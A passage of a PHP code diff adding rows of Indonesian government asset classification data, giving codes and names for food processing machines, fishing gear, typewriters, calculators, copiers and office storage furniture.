'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'MESIN PERAH SUSU', + ], + [ + 'id_aset' => 1619, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '007', + 'nama' => 'MILK CAN', + ], + [ + 'id_aset' => 1620, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '008', + 'nama' => 'PENGUPAS KULIT ARI KEDELAI', + ], + [ + 'id_aset' => 1621, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '009', + 'nama' => 'PEMARUT SERAT SERBA GUNA', + ], + [ + 'id_aset' => 1622, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '010', + 'nama' => 'PENYAWUT SINGKONG', + ], + [ + 'id_aset' => 1623, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '011', + 'nama' => 'GILINGAN BERAS', + ], + [ + 'id_aset' => 1624, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '012', + 'nama' => 'SALINA INJECTOR', + ], + [ + 'id_aset' => 1625, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '013', + 'nama' => 'SCALLER MOTOR', + ], + [ + 'id_aset' => 1626, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '014', + 'nama' => 'ULV CABINET', + ], + [ + 'id_aset' => 1627, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '015', + 'nama' => 'TLC DRAYER', + ], + [ + 'id_aset' => 1628, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '016', + 'nama' => 'MESIN PENCUCI ALAT (MIELE)', + ], + [ + 'id_aset' => 1629, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '017', + 'nama' => 'HYDROLIC PIECES', + ], + [ + 'id_aset' => 1630, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '018', + 'nama' => 'REAPER', + ], + [ + 'id_aset' => 1631, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '019', + 'nama' => 'ELECTRIC DISK CUTTER', + ], + [ + 'id_aset' => 1632, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '020', + 'nama' => 'RAGUM /CATOK', + ], + [ + 'id_aset' => 1633, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '021', + 'nama' => 'DIESEL EGGANE', + ], + [ + 'id_aset' => 1634, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '022', + 'nama' => 'ALAT PROSESING DAGING', + ], + [ + 'id_aset' => 1635, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '023', + 'nama' => 'ALAT PROSESING TELUR', + ], + [ + 'id_aset' => 1636, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '024', + 'nama' => 'ICE CREAM MAKER', + ], + [ + 'id_aset' => 1637, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '025', + 'nama' => 'HAND SEPARATOR', + ], + [ + 'id_aset' => 1638, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '026', + 'nama' => 'MESIN PENEPUNG BERAS', + ], + [ + 'id_aset' => 1639, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '027', + 'nama' => 'ALAT PENGGILING JAGUNG', + ], + [ + 'id_aset' => 1640, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '028', + 'nama' => 'MESIN PENGAYAK TEPUNG', + ], + [ + 'id_aset' => 1641, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '029', + 'nama' => 'PENGOLAHAN PRODUK KERING', + ], + [ + 'id_aset' => 1642, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '030', + 'nama' => 'PENYAWUT BESAR DAN KECIL', + ], + [ + 'id_aset' => 1643, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '031', + 'nama' => 'PROCESSING MULTIGUNA', + ], + [ + 'id_aset' => 1644, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '032', + 'nama' => 'PUMP FOR HPLC AND ACCESSORIES', + ], + [ + 'id_aset' => 1645, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '033', + 'nama' => 'SAUSAGE FEELER MACHINE', + ], + [ + 'id_aset' => 1646, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '034', + 'nama' => 'TWIN PAPER ROLLER BEARING', + ], + [ + 'id_aset' => 1647, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '035', + 'nama' => 'SKINNING CRADLE', + ], + [ + 'id_aset' => 1648, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '036', + 'nama' => 'HEAD RESTRAINER', + ], + [ + 'id_aset' => 1649, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '037', + 'nama' => 'STUNING DEVICE', + ], + [ + 'id_aset' => 1650, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '038', + 'nama' => 'PENYODOK KOTORAN', + ], + [ + 'id_aset' => 1651, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '039', + 'nama' => 'PENGARAH KEPALA', + ], + [ + 'id_aset' => 1652, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '040', + 'nama' => 'OFFAL WASH', + ], + [ + 'id_aset' => 1653, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '041', + 'nama' => 'BEEF SPLITTER', + ], + [ + 'id_aset' => 1654, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PROSESING LAINNYA', + ], + [ + 'id_aset' => 1655, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PASCA PANEN', + ], + [ + 'id_aset' => 1656, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALAT PENGASAPAN', + ], + [ + 'id_aset' => 1657, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'ALAT PEMBEKUAN', + ], + [ + 'id_aset' => 1658, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'ALAT PENGGILING PADI', + ], + [ + 'id_aset' => 1659, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '004', + 'nama' => 'ALAT PENCACAH HIJAUAN', + ], + [ + 'id_aset' => 1660, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '005', + 'nama' => 'ALAT PEMECAH TAPIOKA', + ], + [ + 'id_aset' => 1661, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PASCA PANEN LAINNYA', + ], + [ + 'id_aset' => 1662, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PRODUKSI PERIKANAN', + ], + [ + 'id_aset' => 1663, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'PUKAT', + ], + [ + 'id_aset' => 1664, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'DOUBLE RIG SHRIMP TRAWL/PUKAT UDANG GANDA', + ], + [ + 'id_aset' => 1665, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '003', + 'nama' => 'PAYANG ( TERMASUK LAMPARA )', + ], + [ + 'id_aset' => 1666, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '004', + 'nama' => 'DANISH SEINE ( DOGOL )', + ], + [ + 'id_aset' => 1667, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '005', + 'nama' => 'BEACH SEINE ( PUKAT PANTAI )', + ], + [ + 'id_aset' => 1668, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '006', + 'nama' => 'DRIFT GILL NET ( JARING INSANG HANYUT )', + ], + [ + 'id_aset' => 1669, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '007', + 'nama' => 'ENCIRCLING GILL NET ( JARING INSANG LINGKAR )', + ], + [ + 'id_aset' => 1670, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '008', + 'nama' => 'SHRIMP GILL NET ( JARING KLITIK )', + ], + [ + 'id_aset' => 1671, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '009', + 'nama' => 'SET GILL NET ( JARING INSANG TETAP )', + ], + [ + 'id_aset' => 1672, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '010', + 'nama' => 'BOAT RAFT LIFT NET ( BAGAN PERAHU/RAKIT )', + ], + [ + 'id_aset' => 1673, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '011', + 'nama' => 'BAGAN TANCAP BERIKUT KELONG', + ], + [ + 'id_aset' => 1674, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '012', + 'nama' => 'SCOOP NET ( SEROK )', + ], + [ + 'id_aset' => 1675, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '013', + 'nama' => 'JARING ANGKAT LAINNYA', + ], + [ + 'id_aset' => 1676, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '014', + 'nama' => 'GUIDING BARRIER ( SEROK )', + ], + [ + 'id_aset' => 1677, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '015', + 'nama' => 'STOW NET ( JERMAL TERMASUK TOGO )', + ], + [ + 'id_aset' => 1678, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '016', + 'nama' => 'PORTABLE TRAPS ( BUBU )', + ], + [ + 'id_aset' => 1679, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '017', + 'nama' => 'PERANGKAP LAINNYA', + ], + [ + 'id_aset' => 1680, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '018', + 'nama' => 'TUNA LONG LINE ( RAWAI TUNA )', + ], + [ + 'id_aset' => 1681, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '019', + 'nama' => 'SET LONG LINE ( RAWAI TETAP )', + ], + [ + 'id_aset' => 1682, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '020', + 'nama' => 'SKIPJACK POLE AND LINES ( HUHATE )', + ], + [ + 'id_aset' => 1683, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '021', + 'nama' => 'TROOL LINE ( PANCING TONDA )', + ], + [ + 'id_aset' => 1684, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '022', + 'nama' => 'PANCING LAINNYA', + ], + [ + 'id_aset' => 1685, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '023', + 'nama' => 'MUROAMI INC. MALLALUGIS', + ], + [ + 'id_aset' => 1686, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '024', + 'nama' => 'JALA', + ], + [ + 'id_aset' => 1687, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '025', + 'nama' => 'GARPU', + ], + [ + 'id_aset' => 1688, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '026', + 'nama' => 'TOMBAK', + ], + [ + 'id_aset' => 1689, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '027', + 'nama' => 'SEA WATER RESERVOIR', + ], + [ + 'id_aset' => 1690, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '028', + 'nama' => 'BAK PEMELIHARAAN SEMENTARA', + ], + [ + 'id_aset' => 1691, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '029', + 'nama' => 'BAK PENGENDAPAN', + ], + [ + 'id_aset' => 1692, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '030', + 'nama' => 'KERAMBA ( JARING APUNG )', + ], + [ + 'id_aset' => 1693, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '031', + 'nama' => 'JARING LINGKAR', + ], + [ + 'id_aset' => 1694, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '032', + 'nama' => 'PUKAT TARIK BERKAPAL', + ], + [ + 'id_aset' => 1695, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '033', + 'nama' => 'PUKAT HELA', + ], + [ + 'id_aset' => 1696, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '034', + 'nama' => 'PUKAT DORONG', + ], + [ + 'id_aset' => 1697, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '035', + 'nama' => 'PENGGARUK', + ], + [ + 'id_aset' => 1698, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '036', + 'nama' => 'JARING ANGKAT MENETAP', + ], + [ + 'id_aset' => 1699, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '037', + 'nama' => 'JARING ANGKAT TIDAK MENETAP', + ], + [ + 'id_aset' => 1700, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '038', + 'nama' => 'ALAT YANG DIJATUHKAN', + ], + [ + 'id_aset' => 1701, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '039', + 'nama' => 'ALAT PENJEPIT DAN MELUKAI', + ], + [ + 'id_aset' => 1702, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PRODUKSI PERIKANAN LAINNYA', + ], + [ + 'id_aset' => 1703, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGOLAHAN LAINNYA', + ], + [ + 'id_aset' => 1704, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGOLAHAN LAINNYA', + ], + [ + 'id_aset' => 1705, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KANTOR & RUMAH TANGGA', + ], + [ + 'id_aset' => 1706, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KANTOR', + ], + [ + 'id_aset' => 1707, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'MESIN KETIK', + ], + [ + 'id_aset' => 1708, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN KETIK MANUAL PORTABLE (11-13 INCI)', + ], + [ + 'id_aset' => 1709, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'MESIN KETIK MANUAL STANDARD (14-16 INCI)', + ], + [ + 'id_aset' => 1710, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN KETIK MANUAL LANGEWAGON (18-27 INCI)', + ], + [ + 'id_aset' => 1711, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN KETIK LISTRIK', + ], + [ + 'id_aset' => 1712, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'MESIN KETIK LISTRIK POTABLE (11-13 INCI)', + ], + [ + 'id_aset' => 1713, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'MESIN KETIK LISTRIK STANDARD (14-16 INCI)', + ], + [ + 'id_aset' => 1714, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'MESIN KETIK LISTRIK LANGEWAGON (18-27 INCI)', + ], + [ + 'id_aset' => 1715, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'MESIN KETIK ELEKTRONIK/SELEKTRIK', + ], + [ + 'id_aset' => 1716, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'MESIN KETIK BRAILLE', + ], + [ + 'id_aset' => 1717, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'MESIN PHROMOSONS', + ], + [ + 'id_aset' => 1718, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'MESIN CETAK STEREO PIPER (BRAILLE)', + ], + [ + 'id_aset' => 1719, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'MESIN KETIK LAINNYA', + ], + [ + 'id_aset' => 1720, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'MESIN HITUNG/MESIN JUMLAH', + ], + [ + 'id_aset' => 1721, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN HITUNG MANUAL', + ], + [ + 'id_aset' => 1722, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'MESIN HITUNG LISTRIK', + ], + [ + 'id_aset' => 1723, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN HITUNG ELEKTRONIK/CALCULATOR', + ], + [ + 'id_aset' => 1724, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN KAS REGISTER', + ], + [ + 'id_aset' => 1725, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'ABAKUS (ALAT HITUNG)', + ], + [ + 'id_aset' => 1726, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'BLOKYCS (MESIN HITUNG BRAILLE)', + ], + [ + 'id_aset' => 1727, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'MESIN PENGHITUNG UANG', + ], + [ + 'id_aset' => 1728, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'MESIN PEMBUKUAN', + ], + [ + 'id_aset' => 1729, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'MESIN PENGHITUNG KERTAS/PITA CUKAI', + ], + [ + 'id_aset' => 1730, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'MESIN HITUNG/MESIN JUMLAH LAINNYA', + ], + [ + 'id_aset' => 1731, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT REPRODUKSI (PENGGANDAAN)', + ], + [ + 'id_aset' => 1732, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN STENSIL MANUAL FOLIO', + ], + [ + 'id_aset' => 1733, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'MESIN STENSIL MANUAL DOUBLE FOLIO', + ], + [ + 'id_aset' => 1734, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN STENSIL LISTRIK FOLIO', + ], + [ + 'id_aset' => 1735, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN STENSIL LISTRIK DOUBLE FOLIO', + ], + [ + 'id_aset' => 1736, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'MESIN STENSIL SPIRITUS MANUAL', + ], + [ + 'id_aset' => 1737, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'MESIN STENSIL SPIRITUS LISTRIK', + ], + [ + 'id_aset' => 1738, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'MESIN FOTOCOPY FOLIO', + ], + [ + 'id_aset' => 1739, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'MESIN FOTOCOPY DOUBLE FOLIO', + ], + [ + 'id_aset' => 1740, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '009', + 'nama' => 'MESIN FOTOCOPY ELECTRONIC', + ], + [ + 'id_aset' => 1741, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '010', + 'nama' => 'MESIN THERMOFORN', + ], + [ + 'id_aset' => 1742, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '011', + 'nama' => 'MESIN FOTOCOPY LAINNYA', + ], + [ + 'id_aset' => 1743, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '012', + 'nama' => 'RISOGRAF', + ], + [ + 'id_aset' => 1744, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT REPRODUKSI (PENGGANDAAN) LAINNYA', + ], + [ + 'id_aset' => 1745, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENYIMPAN PERLENGKAPAN KANTOR', + ], + [ + 'id_aset' => 1746, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'LEMARI BESI/METAL', + ], + [ + 'id_aset' => 1747, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'LEMARI KAYU', + ], + [ + 'id_aset' => 1748, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'RAK BESI', + ], + [ + 'id_aset' => 1749, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'RAK KAYU', + ], + [ + 'id_aset' => 1750, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'FILING CABINET BESI', + ], + [ + 'id_aset' => 1751, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'FILING CABINET 